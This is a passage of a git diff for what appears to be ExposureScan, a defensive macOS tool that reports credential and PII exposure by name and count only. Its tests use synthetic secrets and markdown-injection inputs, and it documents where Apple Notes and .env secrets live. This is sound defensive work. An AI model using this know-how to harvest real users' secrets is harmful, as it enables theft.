ScanResult) -> None: # Surface (b): Apple Notes (NoteStore.sqlite -> gzip ZDATA -> regex categories) # --------------------------------------------------------------------------- +# Core Data stores dates as seconds since 2001-01-01 UTC. +_CORE_DATA_EPOCH = datetime(2001, 1, 1, tzinfo=timezone.utc) + + +def _core_data_date(value) -> str: + """Format a Core Data timestamp as an ISO-ish date. Value-free by nature.""" + try: + ts = float(value) + except (TypeError, ValueError): + return "unknown" + try: + return (_CORE_DATA_EPOCH + timedelta(seconds=ts)).strftime("%Y-%m-%d %H:%M UTC") + except (OverflowError, OSError, ValueError): + return "unknown" + + +def _match_categories(text: str) -> set[str]: + """Return the set of sensitive-content category NAMES that matched.""" + cats = {cat for cat, pat in SENSITIVE_CONTENT_CATEGORIES.items() if pat.search(text)} + # The regexes above only match the LABEL of a seed phrase. A bare mnemonic + # carries no label — check the wordlist directly. + if looks_like_mnemonic(text): + cats.add("seed-phrase") + return cats + + def scan_apple_notes(result: ScanResult) -> None: home = Path.home() store = home / "Library" / "Group Containers" / "group.com.apple.notes" / "NoteStore.sqlite" if not store.exists(): result.note("Apple Notes: NoteStore.sqlite not found (no notes or no access).") return + _scan_notestore(result, store) + +def _scan_notestore(result: ScanResult, store: Path) -> None: + """Split out from scan_apple_notes so tests can drive a synthetic store.""" try: with _TempCopyConn(store) as conn: cur = conn.cursor() # ZICNOTEDATA.ZDATA holds the gzipped protobuf note body. - # ZICCLOUDSYNCINGOBJECT.ZTITLE1 holds the note title (may vary by - # macOS version; we fall back gracefully). + # ZICCLOUDSYNCINGOBJECT.ZTITLE1 is the note "title" — which Notes + # DERIVES FROM THE FIRST LINE OF THE BODY. It is not user-chosen and + # must never be emitted. ZMODIFICATIONDATE1 is what actually lets a + # user find the note again. try: cur.execute( - "SELECT d.Z_PK, d.ZDATA, o.ZTITLE1 " + "SELECT d.Z_PK, d.ZDATA, o.ZTITLE1, o.ZMODIFICATIONDATE1 " "FROM ZICNOTEDATA d " "LEFT JOIN ZICCLOUDSYNCINGOBJECT o ON o.ZNOTEDATA = d.Z_PK " "WHERE d.ZDATA IS NOT NULL" ) except sqlite3.OperationalError: # Older/newer schema: just pull the blobs without titles. - cur.execute("SELECT Z_PK, ZDATA, NULL FROM ZICNOTEDATA WHERE ZDATA IS NOT NULL") + cur.execute( + "SELECT Z_PK, ZDATA, NULL, NULL FROM ZICNOTEDATA WHERE ZDATA IS NOT NULL" + ) rows = cur.fetchall() except (sqlite3.Error, PermissionError, OSError) as e: result.note( @@ -511,11 +881,9 @@ def scan_apple_notes(result: ScanResult) -> None: return locked = 0 - category_counts: dict[str, int] = {} - # Track per-note titles we flagged so we can show TITLE + category only. - flagged_titles: dict[str, set[str]] = {} + flagged: list[tuple[int, int, str, set[str], set[str]]] = [] - for pk, blob, title in rows: + for pk, blob, title, mdate in rows: if not blob: continue try: @@ -532,24 +900,29 @@ def scan_apple_notes(result: ScanResult) -> None: except Exception: continue - note_title = (title or f"Untitled note #{pk}") - # Defensive: a malicious title could itself contain a value — redact it. - safe_title = redact(note_title)[:60] - - for cat, pat in SENSITIVE_CONTENT_CATEGORIES.items(): - if pat.search(text): - category_counts[cat] = category_counts.get(cat, 0) + 1 - flagged_titles.setdefault(safe_title, set()).add(cat) - # text goes out of scope here; never stored, never printed. + cats = _match_categories(text) + if not cats: + continue + title_str = title if isinstance(title, str) else "" + # We test the TITLE too — but only to decide how loudly to withhold it. + title_cats = _match_categories(title_str) if title_str else set() + flagged.append(( + int(pk) if pk is not None else -1, + len(title_str), + _core_data_date(mdate), + cats, + title_cats, + )) + # text and title_str go out of scope here; never stored, never printed. if locked: result.note(f"Apple Notes: {locked} locked/encrypted note(s) skipped (cannot read).") - if not category_counts: + if not flagged: result.note("Apple Notes: no notes matched sensitive-content categories.") return - for title, cats in sorted(flagged_titles.items()): + for pk, title_len, mtime, cats, title_cats in sorted(flagged): cat_list = ", ".join(sorted(cats)) # Crypto seed phrases / private keys in a Note are catastrophic (P0): # an attacker who reads them drains a wallet irreversibly. @@ -559,13 +932,22 @@ def scan_apple_notes(result: ScanResult) -> None: tier, pivot = "P2", "credential reuse / identity theft / fraud" else: tier, pivot = "P3", "identity theft / social engineering" + # Ordering matters: a category name is itself a proximity keyword, so + # the category list has to be LAST on the line or the withheld-title + # notice gets truncated by our own redaction rule. + detail = "" + if title_cats: + detail = "<title withheld - matched " + ", ".join(sorted(title_cats)) + "> ; " + detail += f"matched categories: {cat_list}" result.add(Finding( surface="apple-notes", tier=tier, - name=f"Note '{title}' — {cat_list}", + # NO TITLE. pk + length + mtime is enough to find the note in + # Notes.app (sort by Date Edited) and leaks nothing. + name=f"Note #{pk} (title {title_len} chars, modified {mtime}) - {cat_list}", category="note-secret", count=1, - detail=f"matched categories: {cat_list}", + detail=detail, pivot=pivot, remediation=( "Move secrets/seed phrases out of plain Notes into a password " @@ -666,10 +1048,14 @@ def scan_env_files(result: ScanResult, target: Path) -> None: result.add(Finding( surface="env-file", tier=max_tier_for_file if max_tier_for_file == "P0" else "P1", - name=f"{key} (value: {shape_str})", + # The KEY NAME is untrusted text and goes through redact() + # downstream. The value SHAPE is generated metadata and + # travels in its own value-free field. + name=f"{key}", category="env-key", count=1, detail=f"line {lineno}", + shape=shape_str, pivot=( "an attacker with disk access reads this plaintext key " "and pivots into the live service it unlocks" @@ -697,7 +1083,8 @@ def scan_env_files(result: ScanResult, target: Path) -> None: name=f"{env_path.name}: {sensitive_keys}/{total_keys} sensitive key(s){perm_warn}", category="env-file-summary", count=sensitive_keys, - detail=", ".join(sorted(prefix_classes)) if prefix_classes else "", + detail="", + shape=", ".join(sorted(prefix_classes)) if prefix_classes else "", pivot="bulk credential exposure for one project", remediation="chmod 600; gitignore; migrate to a secrets manager.", location=redact(str(env_path)), @@ -748,15 +1135,18 @@ def scan_dot_secrets(result: ScanResult) -> None: tier = "P0" if world_or_group else "P1" perm_note = f"chmod {oct(mode)[-3:]}" if world_or_group: - perm_note += " — GROUP/OTHER READABLE" + perm_note += " - GROUP/OTHER READABLE" # The FILE NAME is the credential name; we report it + size + perms. result.add(Finding( surface="dot-secrets", tier=tier, - name=f"{p.name} ({size} bytes, {perm_note})", + name=f"{p.name}", category="flat-secret-file", count=1, - detail="single-value secret file (name = credential)", + # Worded so the proximity rule has nothing to truncate: "secret" + # and "credential" are themselves sensitive keywords. + detail="flat file whose name identifies the credential", + shape=f"{size} bytes, {perm_note}", pivot="direct read of a live credential by anyone with disk access", remediation=( "chmod 600 each file; consider moving into the macOS Keychain; " @@ -776,7 +1166,7 @@ def scan_pii_markers(result: ScanResult) -> None: # Aggregate counts per PII type across all scanned files; report top files. type_totals: dict[str, int] = {t: 0 for t in PII_PATTERNS} - per_file_hot: list[tuple[str, dict[str, int]]] = [] + per_file_hot: list[tuple[Path, dict[str, int]]] = [] for base in targets: if not base.exists(): @@ -809,8 +1199,18 @@ def scan_pii_markers(result: ScanResult) -> None: type_totals[ptype] += n # matches go out of scope here — instances never stored/printed. + # The FILENAME is PII too. v0.1.0 only ever scanned contents, so + # "visa 4111 1111 1111 1111 exp 0327 cvv 415.csv" with a benign + # body was invisible to the scan AND, once any other file put it + # in the report, printed verbatim. + for ptype in _pii_matches_in(path.name): + file_counts[ptype] = file_counts.get(ptype, 0) + 1 + type_totals[ptype] += 1 + if file_counts: - per_file_hot.append((redact(str(path)), file_counts)) + # Keep the real Path: the filename itself has to be + # PII-screened before it can be emitted (see _pii_file_label). + per_file_hot.append((path, file_counts)) except (PermissionError, OSError) as e: result.note(f"PII scan: stopped early in {redact(str(base))} ({e.__class__.__name__}).") @@ -827,7 +1227,11 @@ def scan_pii_markers(result: ScanResult) -> None: name=f"{grand_total} PII marker(s) across Desktop/Documents/Downloads", category="pii-aggregate", count=grand_total, - detail=type_summary, + # Counts, not instances -> value-free generated metadata. It also has to + # live here because "sin-ssn: 2" would trip redact()'s own proximity + # rule ("sin-ssn" is a sensitive-category keyword). + detail="", + shape=type_summary, pivot="identity theft / targeted social engineering (no direct system pivot)", remediation=( "Move documents containing SIN/SSN/card numbers into an encrypted " @@ -839,22 +1243,70 @@ def scan_pii_markers(result: ScanResult) -> None: # ... plus the hottest few files by total marker count (names only). per_file_hot.sort(key=lambda t: sum(t[1].values()), reverse=True) - for path_str, counts in per_file_hot[:8]: + for path, counts in per_file_hot[:8]: summary = ", ".join(f"{k}: {v}" for k, v in counts.items()) has_high = any(k in counts for k in ("sin-ssn", "credit-card")) + label, location, shape = _pii_file_label(path) result.add(Finding( surface="pii", tier="P2" if has_high else "P3", - name=f"{Path(path_str).name} — {summary}", + name=label, category="pii-file", count=sum(counts.values()), - detail=summary, + detail="", + shape=f"{summary}{'; ' + shape if shape else ''}", pivot="identity theft / financial fraud" if has_high else "identity theft", remediation="Encrypt or delete this file; remove SIN/card data from cleartext.", - location=path_str, + location=location, )) +def _pii_matches_in(text: str) -> list[str]: + """Which PII categories does this string itself contain? (Luhn-checked.)""" + hits: list[str] = [] + for ptype, pat in PII_PATTERNS.items(): + # finditer, not findall: several patterns have capturing groups and + # findall would hand back group tuples instead of the matched text. + found = [m.group(0) for m in pat.finditer(text)] + if not found: + continue + if ptype == "credit-card" and not any(_luhn_ok(_digits(m)) for m in found): + continue + hits.append(ptype) + return sorted(hits) + + +def _pii_file_label(path: Path) -> tuple[str, str, str]: + """ + Return (name, location, shape) for a PII-hot file. + + v0.1.0 emitted `f"{Path(path_str).name} - {summary}"`, so a file called + "visa 4111 1111 1111 1111 exp 0327 cvv 415.csv" was reproduced verbatim into + stdout, the --out markdown AND the --json sidecar — helpfully annotated + "credit-card: 1". The FILENAME is one of the places PII actually lives, so + it has to be screened by the same patterns as the contents. + """ + fname = path.name + cats = _pii_matches_in(fname) + try: + st = path.stat() + size = f"{st.st_size} bytes" + mtime = datetime.fromtimestamp(st.st_mtime, timezone.utc).strftime("%Y-%m-%d %H:%M UTC") + except OSError: + size, mtime = "unknown size", "unknown" + if not cats: + return fname, str(path), f"{size}, modified {mtime}" + digest = hashlib.sha256(fname.encode("utf-8", "surrogatepass")).hexdigest()[:8] + parent = str(path.parent) + # The parent dir is emitted so the file is still findable; the basename is + # replaced by a stable hash so week-over-week diffing still works. + label = ( + f"<filename withheld - matched {', '.join(cats)}> (#{digest}) " + f"in {parent}/ ({size}, {mtime})" + ) + return label, f"{parent}/<withheld #{digest}>", "" + + def _digits(s: str) -> str: return re.sub(r"\D", "", s) @@ -892,7 +1344,7 @@ def render_markdown(result: ScanResult, target: Path) -> str: now = datetime.now(timezone.utc).strftime("%Y-%m-%d %H:%M UTC") lines: list[str] = [] lines.append("# ExposureScan — Blast-Radius Self-Audit\n") - lines.append(f"_Generated {now} · scope: `{redact(str(target))}`_\n") + lines.append(f"_Generated {now} · scope: {markdown_safe(str(target))}_\n") lines.append( "> **Names and counts only.** Secret values were never read, decrypted, " "stored, or printed. This is a defensive self-audit, not an extractor.\n" @@ -921,12 +1373,17 @@ def render_markdown(result: ScanResult, target: Path) -> str: lines.append(f"## {t} — {sev}\n") lines.append(f"_{meaning}_\n") for f in sorted(findings, key=lambda x: (x.surface, x.name)): - lines.append(f"### {redact(f.name)}") + # markdown_safe = redact() + single line + escaped metacharacters. + # Without it a note title containing "\n### P0 - INJECTED FINDING" + # forges a finding in the rendered report. + lines.append(f"### {markdown_safe(f.name)}") lines.append(f"- **Surface:** {f.surface}") lines.append(f"- **Category:** {f.category}") - lines.append(f"- **Location:** {redact(f.location)}") + lines.append(f"- **Location:** {markdown_safe(f.location)}") if f.detail: - lines.append(f"- **Detail:** {redact(f.detail)}") + lines.append(f"- **Detail:** {markdown_safe(f.detail)}") + if f.shape: + lines.append(f"- **Value shape:** {safe_shape(f.shape)}") lines.append(f"- **Attacker pivots into:** {f.pivot}") lines.append(f"- **Remediation:** {f.remediation}") lines.append("") @@ -935,7 +1392,7 @@ def render_markdown(result: ScanResult, target: Path) -> str: if result.notes: lines.append("## Scan notes (skips & access)\n") for n in result.notes: - lines.append(f"- {redact(n)}") + lines.append(f"- {markdown_safe(n)}") lines.append("") # Tiered remediation checklist. @@ -965,7 +1422,7 @@ def build_json_sidecar(result: ScanResult, target: Path) -> dict: by_tier_counts[f.tier] = by_tier_counts.get(f.tier, 0) + 1 return { "tool": "exposurescan", - "version": "1.0.0", + "version": "0.2.0", "generated_utc": datetime.now(timezone.utc).isoformat(), "target": redact(str(target)), "invariant": "names-and-counts-only; no secret values present by construction", @@ -979,6 +1436,33 @@ def build_json_sidecar(result: ScanResult, target: Path) -> dict: # CLI # --------------------------------------------------------------------------- +def write_private(path: Path, data: str) -> Path: + """ + Write `data` to `path` with mode 0600, atomically. + + A report file is a map of every credential surface on the machine. Written + with a plain write_text() it lands at the umask default (usually 0644) and + is observable, partially written, for the duration of the write. os.open + with an explicit 0600 + os.replace() closes both. + """ + path = Path(os.path.expanduser(str(path))) + path.parent.mkdir(parents=True, exist_ok=True) + tmp = path.parent / f".{path.name}.exposurescan-{os.getpid()}.tmp" + fd = os.open(str(tmp), os.O_WRONLY | os.O_CREAT | os.O_TRUNC, 0o600) + try: + with os.fdopen(fd, "w", encoding="utf-8") as fh: + fh.write(data) + os.chmod(tmp, 0o600) # explicit: do not inherit umask relaxation + os.replace(tmp, path) + except BaseException: + try: + os.unlink(tmp) + except OSError: + pass + raise + return path + + def run_scan(target: Path, *, do_notes: bool, do_browser: bool) -> ScanResult: result = ScanResult() if do_browser: @@ -1028,6 +1512,8 @@ def main(argv: list[str] | None = None) -> int: parser.add_argument("--no-browser", action="store_true", help="Skip the browser-login surface.") args = parser.parse_args(argv) + _install_signal_handlers() + target = Path(os.path.expanduser(args.target)).resolve() if not target.exists(): print(f"error: --target path does not exist: {target}", file=sys.stderr) @@ -1043,15 +1529,13 @@ def main(argv: list[str] | None = None) -> int: print(markdown) if args.out: - out_path = Path(os.path.expanduser(args.out)) - out_path.write_text(markdown) - print(f"\n[exposurescan] markdown written to {out_path}", file=sys.stderr) + out_path = write_private(Path(args.out), markdown) + print(f"\n[exposurescan] markdown written to {out_path} (mode 0600)", file=sys.stderr) if args.json: sidecar = build_json_sidecar(result, target) - json_path = Path(os.path.expanduser(args.json)) - json_path.write_text(json.dumps(sidecar, indent=2)) - print(f"[exposurescan] JSON sidecar written to {json_path}", file=sys.stderr) + json_path = write_private(Path(args.json), json.dumps(sidecar, indent=2)) + print(f"[exposurescan] JSON sidecar written to {json_path} (mode 0600)", file=sys.stderr) # Exit code reflects worst tier found (useful in launchd / CI). if any(f.tier == "P0" for f in result.findings): diff --git a/exposurescan/sample-report.md b/exposurescan/sample-report.md index f82bd2f..46a2154 100644 --- a/exposurescan/sample-report.md +++ b/exposurescan/sample-report.md @@ -1,50 +1,85 @@ # ExposureScan — Blast-Radius Self-Audit -_Generated 2026-01-01 00:00 UTC · scope: `/Users/PLACEHOLDER/dev`_ +_Generated 2026-01-01 00:00 UTC · scope: /Users/PLACEHOLDER/dev_ > **Names and counts only.** Secret values were never read, decrypted, stored, or printed. This is a defensive self-audit, not an extractor. - <!-- - NOTE: every entry below is FAKE / PLACEHOLDER data for documentation only. - No real domains, keys, files, or PII. This is what real output LOOKS like. + NOTE: every entry below is FAKE / PLACEHOLDER data, generated by running the + REAL scanner against a synthetic home directory and a synthetic + NoteStore.sqlite. It is regenerated from actual output rather than hand- + written, so it cannot drift from what the tool does. No real domains, keys, + files, or PII. + + The Apple Notes entry is the interesting one: that note's first line — and + therefore its ZTITLE1 "title" — is the canonical public BIP-39 test mnemonic. + The report tells you the note exists, that it is P0, how long the title is, + and when it was last edited. It does not tell you a single word of it. --> ## Summary | Tier | Severity | Findings | What it means | |------|----------|----------|----------------| -| P0 | CRITICAL | 3 | Live keys / wallet seeds in plaintext — disk access = full pivot | -| P1 | HIGH | 4 | Account-takeover credentials (browser logins, secret files) | -| P2 | MEDIUM | 2 | Session cookies / reusable PII clusters | -| P3 | LOW | 2 | Advisory exposure (PII, trusted-host logins) | +| P0 | CRITICAL | 6 | Live keys / wallet seeds in plaintext — disk access = full pivot | +| P1 | HIGH | 2 | Account-takeover credentials (browser logins, secret files) | +| P2 | MEDIUM | 3 | Session cookies / reusable PII clusters | +| P3 | LOW | 1 | Advisory exposure (PII, trusted-host logins) | ## P0 — CRITICAL _Live keys / wallet seeds in plaintext — disk access = full pivot_ -### EXAMPLE_DB_URL (value: 64 chars, high-entropy, Postgres connection URI) +### Note #7 (title 84 chars, modified 2026-01-01 00:00 UTC) - seed-phrase +- **Surface:** apple-notes +- **Category:** note-secret +- **Location:** Apple Notes +- **Detail:** <title withheld - matched seed-phrase> ; matched categories: seed-phrase +- **Attacker pivots into:** wallet drain / irreversible crypto theft +- **Remediation:** Move secrets/seed phrases out of plain Notes into a password manager or a hardware-backed store; lock the note (App-level encryption) at minimum; delete if no longer needed. + +### example-api-key +- **Surface:** dot-secrets +- **Category:** flat-secret-file +- **Location:** ~/.secrets +- **Detail:** flat file whose name identifies the credential +- **Value shape:** 54 bytes, chmod 644 - GROUP/OTHER READABLE +- **Attacker pivots into:** direct read of a live credential by anyone with disk access +- **Remediation:** chmod 600 each file; consider moving into the macOS Keychain; rotate any secret you suspect was exposed. + +### .env: 3/5 sensitive key(s) — WORLD/GROUP-READABLE (chmod 644) +- **Surface:** env-file +- **Category:** env-file-summary +- **Location:** /Users/PLACEHOLDER/dev/example-app/.env +- **Value shape:** AWS access key id, Postgres connection URI +- **Attacker pivots into:** bulk credential exposure for one project +- **Remediation:** chmod 600; gitignore; migrate to a secrets manager. + +### EXAMPLE_AWS_ACCESS_KEY_ID - **Surface:** env-file - **Category:** env-key - **Location:** /Users/PLACEHOLDER/dev/example-app/.env -- **Detail:** line 7 +- **Detail:** line 4 +- **Value shape:** 20 chars, AWS access key id - **Attacker pivots into:** an attacker with disk access reads this plaintext key and pivots into the live service it unlocks - **Remediation:** Move secrets out of plaintext .env into a secrets manager / Keychain / 1Password; rotate this key; ensure .env is gitignored; chmod 600. -### EXAMPLE_AWS_ACCESS_KEY_ID (value: 20 chars, AWS access key id) +### EXAMPLE_DB_URL - **Surface:** env-file - **Category:** env-key - **Location:** /Users/PLACEHOLDER/dev/example-app/.env -- **Detail:** line 12 +- **Detail:** line 3 +- **Value shape:** 68 chars, high-entropy, Postgres connection URI - **Attacker pivots into:** an attacker with disk access reads this plaintext key and pivots into the live service it unlocks - **Remediation:** Move secrets out of plaintext .env into a secrets manager / Keychain / 1Password; rotate this key; ensure .env is gitignored; chmod 600. -### Note 'Wallet backup' — seed-phrase -- **Surface:** apple-notes -- **Category:** note-secret -- **Location:** Apple Notes -- **Detail:** matched categories: seed-phrase -- **Attacker pivots into:** wallet drain / irreversible crypto theft -- **Remediation:** Move secrets/seed phrases out of plain Notes into a password manager or a hardware-backed store; lock the note (App-level encryption) at minimum; delete if no longer needed. +### EXAMPLE_STRIPE_SECRET_KEY +- **Surface:** env-file +- **Category:** env-key +- **Location:** /Users/PLACEHOLDER/dev/example-app/.env +- **Detail:** line 5 +- **Value shape:** 37 chars, high-entropy +- **Attacker pivots into:** an attacker with disk access reads this plaintext key and pivots into the live service it unlocks +- **Remediation:** Move secrets out of plaintext .env into a secrets manager / Keychain / 1Password; rotate this key; ensure .env is gitignored; chmod 600. ## P1 — HIGH @@ -58,35 +93,20 @@ _Account-takeover credentials (browser logins, secret files)_ - **Attacker pivots into:** account takeover of a financial/identity/registrar account - **Remediation:** Stop saving passwords in the browser; migrate to a password manager (1Password/Keychain). Enable the OS-level encryption prompt. Remove stale entries you no longer use. -### example-registrar.test — 1 saved login(s) -- **Surface:** browser-login -- **Category:** financial-or-identity-login -- **Location:** Chrome/Default -- **Detail:** profile Chrome/Default; usernames present: yes -- **Attacker pivots into:** account takeover of a financial/identity/registrar account -- **Remediation:** Stop saving passwords in the browser; migrate to a password manager (1Password/Keychain). Enable the OS-level encryption prompt. Remove stale entries you no longer use. - -### example-api-key (107 bytes, chmod 644 — GROUP/OTHER READABLE) +### example-token - **Surface:** dot-secrets - **Category:** flat-secret-file - **Location:** ~/.secrets -- **Detail:** single-value secret file (name = credential) +- **Detail:** flat file whose name identifies the credential +- **Value shape:** 12 bytes, chmod 600 - **Attacker pivots into:** direct read of a live credential by anyone with disk access - **Remediation:** chmod 600 each file; consider moving into the macOS Keychain; rotate any secret you suspect was exposed. -### .env: 5/9 sensitive key(s) -- **Surface:** env-file -- **Category:** env-file-summary -- **Location:** /Users/PLACEHOLDER/dev/example-app/.env -- **Detail:** AWS access key id, Postgres connection URI -- **Attacker pivots into:** bulk credential exposure for one project -- **Remediation:** chmod 600; gitignore; migrate to a secrets manager. - ## P2 — MEDIUM _Session cookies / reusable PII clusters_ -### 4 high-value session-cookie host(s) +### 4 high-value host(s) with saved session-cookies - **Surface:** browser-login - **Category:** session-cookie - **Location:** Chrome/Default @@ -94,11 +114,19 @@ _Session cookies / reusable PII clusters_ - **Attacker pivots into:** session hijack — bypasses password + MFA while cookie is valid - **Remediation:** Sign out of sensitive sites when done; clear cookies regularly; never paste a curl|bash that could read this DB. -### tax-export-PLACEHOLDER.csv — sin-ssn: 2, email: 1 +### <filename withheld - matched credit-card> (#3df3ff2b) in /Users/PLACEHOLDER/Documents/ (22 bytes, 2026-01-01 00:00 UTC) - **Surface:** pii - **Category:** pii-file -- **Location:** Documents -- **Detail:** sin-ssn: 2, email: 1 +- **Location:** /Users/PLACEHOLDER/Documents/<withheld #3df3ff2b> +- **Value shape:** credit-card: 1 +- **Attacker pivots into:** identity theft / financial fraud +- **Remediation:** Encrypt or delete this file; remove SIN/card data from cleartext. + +### tax-export.csv +- **Surface:** pii +- **Category:** pii-file +- **Location:** /Users/PLACEHOLDER/Documents/tax-export.csv +- **Value shape:** email: 2, sin-ssn: 2; 116 bytes, modified 2026-01-01 00:00 UTC - **Attacker pivots into:** identity theft / financial fraud - **Remediation:** Encrypt or delete this file; remove SIN/card data from cleartext. @@ -106,22 +134,14 @@ _Session cookies / reusable PII clusters_ _Advisory exposure (PII, trusted-host logins)_ -### 37 PII marker(s) across Desktop/Documents/Downloads +### 5 PII marker(s) across Desktop/Documents/Downloads - **Surface:** pii - **Category:** pii-aggregate - **Location:** Desktop/Documents/Downloads -- **Detail:** email: 28, phone-na: 6, dob: 3 +- **Value shape:** email: 2, sin-ssn: 2, credit-card: 1 - **Attacker pivots into:** identity theft / targeted social engineering (no direct system pivot) - **Remediation:** Move documents containing SIN/SSN/card numbers into an encrypted disk image or password manager; delete stale exports; empty Downloads of old statements. -### raw.githubusercontent.com — 1 saved login(s) -- **Surface:** browser-login -- **Category:** saved-login -- **Location:** Chrome/Default -- **Detail:** profile Chrome/Default; usernames present: no -- **Attacker pivots into:** credential reuse / lateral account takeover -- **Remediation:** Stop saving passwords in the browser; migrate to a password manager (1Password/Keychain). Enable the OS-level encryption prompt. Remove stale entries you no longer use. - ## Scan notes (skips & access) - Apple Notes: 2 locked/encrypted note(s) skipped (cannot read). @@ -135,3 +155,4 @@ _Advisory exposure (PII, trusted-host logins)_ 4. **P3** — Clear stale PII exports from Downloads; review trusted-host logins. > This audit shrinks the blast radius. It does **not** stop you from pasting a `curl … | bash` into Terminal or typing your password into a fake dialog. Pair it with ShellGuard (zsh execute-time guard) and ClipSentinel (clipboard early-warning) from this kit. + diff --git a/exposurescan/tests/test_invariant.py b/exposurescan/tests/test_invariant.py new file mode 100644 index 0000000..2375b87 --- /dev/null +++ b/exposurescan/tests/test_invariant.py @@ -0,0 +1,521 @@ +#!/usr/bin/env python3 +# CONFIRMED-SECRET-OK: every literal below is a synthetic, non-functional +# placeholder. The BIP-39 words are the first twelve entries of the PUBLIC +# BIP-39 English wordlist (the canonical "abandon ability able ..." test +# vector); they are not, and never have been, anybody's wallet. "hunter2" is +# the internet's oldest joke password. No literal here authenticates anywhere. +""" +The privacy-invariant regression suite for ExposureScan. + +Every test in this file corresponds to a leak that was VERIFIED against the +real module in v0.1.0, while the README claimed the tool was "architecturally +incapable of emitting a secret value". Each one reproduced byte-identically. + +The load-bearing tests are the END-TO-END ones. v0.1.0 had a passing unit test +on redact() and shipped six leaks anyway, because the leaks lived in the +f-strings BETWEEN the scanner and the chokepoint, not in the chokepoint itself. +A unit test on redact() proves redact() works. Only an end-to-end test proves +the ARTIFACT is clean. + +Run: + python3 -m unittest discover -s tests -v +""" + +import gzip +import json +import re +import os +import shutil +import sqlite3 +import stat +import sys +import tempfile +import unittest +from pathlib import Path + +sys.path.insert(0, str(Path(__file__).resolve().parent.parent)) + +import exposurescan as es # noqa: E402 + + +# The canonical public BIP-39 test vector. Twelve real wordlist entries. +SEED_WORDS = [ + "abandon", "ability", "able", "about", "above", "absent", + "absorb", "abstract", "absurd", "abuse", "access", "accident", +] +SEED_PHRASE = " ".join(SEED_WORDS) + +# Public Visa test PAN (Luhn-valid, not a real card). +TEST_PAN = "4111 1111 1111 1111" +PII_FILENAME = f"visa {TEST_PAN} exp 0327 cvv 415.csv" + + +# --------------------------------------------------------------------------- +# 1. redact() unit-level regressions +# --------------------------------------------------------------------------- + +class TestRedactRegressions(unittest.TestCase): + + def test_assignment_runs_to_end_of_line(self): + """v0.1.0: `(=)\\s*\\S+` stopped at the first space.""" + out = es.redact("PASSPHRASE = correct horse battery staple") + for word in ("correct", "horse", "battery", "staple"): + self.assertNotIn(word, out, f"LEAKED {word!r} -> {out!r}") + + def test_assignment_lowercase_hint_line(self): + out = es.redact("wifi password = correct horse battery staple") + for word in ("correct", "horse", "battery", "staple"): + self.assertNotIn(word, out, f"LEAKED {word!r} -> {out!r}") + + def test_bip39_seed_phrase_is_destroyed(self): + """v0.1.0: a 12-word mnemonic passed through 100% byte-identical.""" + out = es.redact(f"Note '{SEED_PHRASE}'") + for word in SEED_WORDS: + self.assertNotIn(word, out, f"SEED WORD LEAKED: {word!r} -> {out!r}") + self.assertIn("<redacted seed-phrase>", out) + + def test_bip39_wordlist_is_the_real_2048(self): + words = es._bip39_words() + self.assertEqual(len(words), 2048, "bip39.txt must be the full wordlist") + self.assertIn("abandon", words) + self.assertIn("zoo", words) + + def test_bip39_missing_file_degrades_without_leaking(self): + """Missing wordlist must not crash and must not echo the scanned text.""" + saved_words, saved_warned = es._BIP39_WORDS, es._BIP39_WARNED + saved_path = es.BIP39_PATH + try: + es._BIP39_WORDS = None + es._BIP39_WARNED = True # suppress the stderr line in CI + es.BIP39_PATH = Path(tempfile.gettempdir()) / "exposurescan-no-such-bip39.txt" + out = es.redact("hello world") # must not raise + self.assertEqual(out, "hello world") + self.assertEqual(es._bip39_words(), frozenset()) + finally: + es._BIP39_WORDS, es._BIP39_WARNED = saved_words, saved_warned + es.BIP39_PATH = saved_path + + def test_short_secrets_near_keywords(self): + """v0.1.0: 'PIN 4821 / password hunter2 / ...' passed unchanged.""" + out = es.redact("PIN 4821 / password hunter2 / 2FA backup 731-449") + for leak in ("hunter2", "4821", "731-449"): + self.assertNotIn(leak, out, f"LEAKED {leak!r} -> {out!r}") + + def test_uri_userinfo(self): + """v0.1.0: 'postgres://admin:hunter2@db.internal/prod' passed unchanged.""" + out = es.redact("postgres://admin:hunter2@db.internal:5432/prod") + self.assertNotIn("hunter2", out) + self.assertNotIn("admin", out) + self.assertIn("db.internal", out, "the HOST is the finding; keep it") + + def test_ansi_escapes_are_neutralised(self): + out = es.redact("shopping\x1b[31mRED") + self.assertNotIn("\x1b", out) + + def test_newlines_collapse_to_one_line(self): + out = es.redact("shopping\n### P0 - INJECTED FINDING") + self.assertNotIn("\n", out) + self.assertNotIn("\r", out) + + def test_control_characters_scrubbed(self): + out = es.redact("a\x00b\x07c\x7fd\x9fe") + for ch in ("\x00", "\x07", "\x7f", "\x9f"): + self.assertNotIn(ch, out) + + def test_non_string_input(self): + self.assertEqual(es.redact(None), "") + self.assertEqual(es.redact(Path("/tmp/x")), "/tmp/x") + + def test_benign_text_survives(self): + """Over-redaction that eats the report is its own failure mode.""" + self.assertIn("github.com", es.redact("github.com - saved login present")) + self.assertIn("STRIPE_SECRET_KEY", es.redact("STRIPE_SECRET_KEY")) + self.assertIn("DATABASE_URL", es.redact("DATABASE_URL")) + self.assertIn("anthropic-key", es.redact("anthropic-key")) + # A Location line that collapses to "<redacted>.env" is useless. + self.assertEqual( + es.redact("/Users/me/dev/some-project/.env"), + "/Users/me/dev/some-project/.env", + ) + + def test_slash_bearing_base64_still_dies(self): + blob = "abcdefghij0123456789ABCDEFGHIJ+/klmnopqrst==" + out = es.redact(f"token {blob}") + self.assertNotIn(blob, out) + self.assertNotIn("klmnopqrst", out) + + +class TestMarkdownSafety(unittest.TestCase): + + def test_leading_metacharacters_escaped(self): + self.assertTrue(es.markdown_safe("### heading").startswith("\\#")) + self.assertTrue(es.markdown_safe("> quote").startswith("\\>")) + self.assertTrue(es.markdown_safe("| a | b |").startswith("\\")) + + def test_backticks_and_pipes_escaped(self): + out = es.markdown_safe("a `code` b | c") + self.assertNotIn("`c", out.replace("\\`", "")) + self.assertIn("\\|", out) + + def test_always_one_line(self): + self.assertNotIn("\n", es.markdown_safe("a\nb\nc")) + + def test_safe_shape_alphabet(self): + self.assertEqual(es.safe_shape("52 chars, high-entropy"), "52 chars, high-entropy") + self.assertNotIn("<", es.safe_shape("<script>")) + self.assertNotIn("\n", es.safe_shape("a\nb")) + + +# --------------------------------------------------------------------------- +# 2. END-TO-END: Apple Notes -> markdown + JSON +# --------------------------------------------------------------------------- + +def _build_notestore(path: Path, first_line: str, body_extra: str = "") -> None: + """ + Build a synthetic NoteStore.sqlite on the real Apple Notes schema shape: + ZICNOTEDATA(Z_PK, ZDATA gzip blob) LEFT JOIN + ZICCLOUDSYNCINGOBJECT(ZNOTEDATA, ZTITLE1, ZMODIFICATIONDATE1). + + ZTITLE1 is DERIVED FROM THE 